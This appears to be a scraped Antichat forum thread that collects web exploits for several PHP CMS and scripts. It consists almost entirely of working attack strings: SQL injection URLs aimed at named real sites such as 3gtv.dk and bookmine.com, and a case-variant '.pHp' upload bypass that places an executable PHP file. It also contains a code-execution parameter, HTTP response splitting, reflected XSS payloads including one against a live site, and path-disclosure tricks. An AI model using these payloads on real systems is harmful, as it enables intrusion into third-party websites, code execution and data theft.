ANTICHAT — форум по информационной безопасности, OSINT и технологиям

Code:
_ttp://3gtv.dk/videos/watch.php?id=111'+union+select+1,@@version,3,4,5,6,7,8,9,10,11,12,13+and+'a'='b

Code:
private $denyExtentions = array('.php', '.phtml', '.php3', '.html', '.htm', '.pl', '.PHP', '.PHTML', '.PHP3', '.HTML', '.HTM', '.PL', '.js', '.JS'); 

                         if (!empty($_FILES[$attach_name]['name'])) {  
                                 // Извлекаем из имени файла расширение  
                                 $ext = strrchr($_FILES[$attach_name]['name'], ".");  
                                 // Формируем путь к файлу  
                                 if (in_array( $ext, $extentions))  
                                         $file = $post_id . '-' . $i . '-' . date("YmdHi") . '.txt';  
                                 else  
                                         $file = $post_id . '-' . $i . '-' . date("YmdHi") . $ext;  
                                 $is_image = (in_array($ext, $img_extentions)) ? 1 : 0;  
                                 // Перемещаем файл из временной директории сервера в директорию files  
                                 if (move_uploaded_file($_FILES[$attach_name]['tmp_name'], R . 'sys/files/forum/' . $file)) {  
                                         chmod(R . 'sys/files/forum/' . $file, 0644);

Code:
private $denyExtentions = array('.php', '.phtml', '.php3', '.html', '.htm', '.pl', '.PHP', '.PHTML', '.PHP3', '.HTML', '.HTM', '.PL', '.js', '.JS')

                                 if (!empty($_FILES[$attach_name]['name'])) {  
                                         // Извлекаем из имени файла расширение  
                                         $ext = strrchr($_FILES[$attach_name]['name'], ".");  
                                         // Формируем путь к файлу  
                                         if (in_array( $ext, $extentions) || empty($ext)) {  
                                                 $file = $post_id . '-' . $i . '-' . date("YmdHi") . '.txt';  
                                         } else {  
                                                 $file = $post_id . '-' . $i . '-' . date("YmdHi") . $ext;  
                                         }          
                                         $is_image = 0;  
                                         if ($_FILES[$attach_name]['type'] == 'image/jpeg'  
                                         || $_FILES[$attach_name]['type'] == 'image/jpg'  
                                         || $_FILES[$attach_name]['type'] == 'image/gif'  
                                         || $_FILES[$attach_name]['type'] == 'image/png') {  
                                                 $is_image = 1;  
                                         }  
   
                                         // Перемещаем файл из временной директории сервера в директорию files  
                                         if (move_uploaded_file($_FILES[$attach_name]['tmp_name'], R . 'sys/files/forum/' . $file)) {  
                                                 chmod(R . 'sys/files/forum/' . $file, 0644);

Code:
[target]/sys/files/forum/$post_id-$i-date("YmdHi").pHp [Имя файла можно посмотреть в созданном вами посте]

Code:
if($_GET['url'])
{
	$url = urldecode($_GET['url']);

	//prevent Response Splitting attack
	$url = preg_replace("!\r|\n.*!s", "", $url);
	
	header('Location: '.$_GET['url']);
}
else 
{
	header('Location: index.php');
}

Code:
http://[host1]/sau/editor/redirect.php?url=http://[host2]/target.php%0d%0aSet-Cookie: Name=Value

Code:
http://www.saurus.info/editor/redirect.php?url=%0D%0ALocation:%20http://www.google.com
=>  Warning: Header may not contain more than a single header, new line detected. in /data01/virt2962/domeenid/www.saurus.ee/htdocs/editor/redirect.php on line 88

Code:
Path Disclosure: Illegal Session Injection
Пишем вместо PHPSESSID всякую #$&%^**(@#:
=>  Warning: session_start() [function.session-start]: The session id is too long or contains illegal characters, valid characters are a-z, A-Z, 0-9 and '-,' in /data01/virt2962/domeenid/www.saurus.ee/htdocs/index.php on line 236

Code:
/* check file */ 
if (empty($_FILES['foto']['name'])) {
$error = $error .''.__('Not attaches').''. "\n";  		
} else {
if ($_FILES['foto']['size'] > Config::read('max_file_size', 'foto'))
$error = $error .''. sprintf(__('Wery big file2'), Config::read('max_file_size', 'foto')/1000) .''."\n"; 
if ($_FILES['foto']['type'] != 'image/jpeg' && 
$_FILES['foto']['type'] != 'image/gif' && 
//$_FILES['foto']['type'] != 'image/bmp' && 
$_FILES['foto']['type'] != 'image/png') 
$error = $error .''.__('Wrong file format').''."\n"; 
}

HTML:
http://[target]/sys/files/foto/full/[№file].php

Code:
http://127.0.0.1/phprusearch/sinc/query.php?cmd=phpinfo();

Code:
http;//site.ltd/poll/demo_3.php?poll_id=1+or+1+group+by+concat_ws(0x3a,version(),rand(0)|0)+having+min(0)--+f

Code:
Error Number: 1062 Duplicate entry '5.0.77:1' for key 'group_key'

Code:
http://www.bookmine.com/poll/demo_3.php?poll_id=11+or+1+group+by+concat_ws(0x3a,version(),rand(0)|0)+having+min(0)--+f

Code:
http://127.0.0.1/fc4-0.34/admin/index.php?cmd=Counter&Name=tdsadas"+and+5=4+union+select+1,2,3,4,5,6,7,version()--+

Code:
http://127.0.0.1/fc4-0.34/admin/counter_form.php?cmd=">alert(/xss/)

Code:
http://www.bes-chagda.ru/ls_guestbook/guestbook.php?go=auth&new_pwd=1>alert(/xss/)

Code:
http://127.0.0.1/LSLogs/example/logsa.php?filter_string=">alert(/xss/)

Code:
ЖМИ

Code:
http://site/assets/cache/siteCache.idx.php
http://site/assets/plugins/managermanager/example.mm_rules.inc.php
http://site/assets/plugins/managermanager/default.mm_rules.inc.php
http://site/assets/plugins/managermanager/mm.inc.php
etc.